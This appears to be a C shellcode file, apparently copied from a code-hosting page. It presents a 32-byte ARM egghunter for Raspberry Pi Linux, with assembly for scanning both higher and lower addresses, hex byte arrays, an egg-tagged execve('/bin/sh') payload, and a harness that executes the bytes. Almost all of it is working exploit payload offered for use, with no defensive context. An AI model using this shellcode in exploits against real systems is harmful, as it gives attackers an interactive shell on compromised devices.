97 lines
No EOL
2.5 KiB
C
97 lines
No EOL
2.5 KiB
C
/*
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Linux/ARM (Raspberry Pi) - Egghunter + /bin/sh Shellcode (32 bytes)
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------------------------------
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// If your shellcode in higer address, use following egghunter.
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pi@raspberrypi:~ $ cat egghunter-higher.s
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.section .text
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.global _start
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_start:
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.code 32
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add r3, pc, #1 // switch to thumb mode
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bx r3
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.code 16
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adr r1, startpoint // set r1 to start point address
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ldr r2, egg // set r2 to egg's value
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next_addr:
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add r1, r1, #1 // increment scan address
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ldr r3, [r1] // set r3 to the value stored in r1's address
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cmp r2, r3 // compare values
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bne next_addr // if failed to find egg, jump to next address
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mov r3, pc // switch to arm mode
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bx r3
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.code 32
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mov pc, r1 // jump to found address
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egg:
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.ascii "\x50\x90\x50\x90"
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startpoint:
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pi@raspberrypi:~ $
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------------------------------
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// If your shellcode in lower address, use following egghunter.
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pi@raspberrypi:~ $ cat egghunter-lower.s
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.section .text
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.global _start
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_start:
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.code 32
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add r3, pc, #1 // switch to thumb mode
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bx r3
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.code 16
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adr r1, startpoint // set r1 to start point address
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ldr r2, egg // set r2 to egg's value
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next_addr:
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sub r1, r1, #1 // increment scan address
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ldr r3, [r1] // set r3 to the value stored in r1's address
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cmp r2, r3 // compare values
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bne next_addr // if failed to find egg, jump to next address
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startpoint:
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mov r3, pc // switch to arm mode
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bx r3
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.code 32
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mov pc, r1 // jump to found address
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egg:
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.ascii "\x50\x90\x50\x90"
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pi@raspberrypi:~ $
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------------------------------
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*/
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#include <stdio.h>
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#include <string.h>
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// If your shellcode in higer address, use following egghunter.
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unsigned char egghunter[] = \
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"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x05\xa1\x04\x4a\x01\x31\x0b\x68\x9a\x42\xfb\xd1\x7b\x46\x18\x47\x01\xf0\xa0\xe1\x50\x90\x50\x90";
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unsigned char egg[] = \
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"\x50\x90\x50\x90" // egg tag
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"\x01\x30\x8f\xe2\x13\xff\x2f\xe1" // execve('/bin/sh')
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"\x49\x40\x52\x40\x01\xa0\xc2\x71"
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"\x0b\x27\x01\xdf\x2f\x62\x69\x6e"
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"\x2f\x73\x68\x41";
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// If your shellcode in lower address, use following egghunter.
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//unsigned char egghunter[] = \
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//"\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\xa1\x04\x4a\x01\x39\x0b\x68\x9a\x42\xfb\xd1\x7b\x46\x18\x47\x01\xf0\xa0\xe1\x50\x90\x50\x90";
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void main()
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{
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printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
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printf("Egg shellcode Length: %d\n", strlen(egg));
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int (*ret)() = (int(*)())egghunter;
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ret();
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} |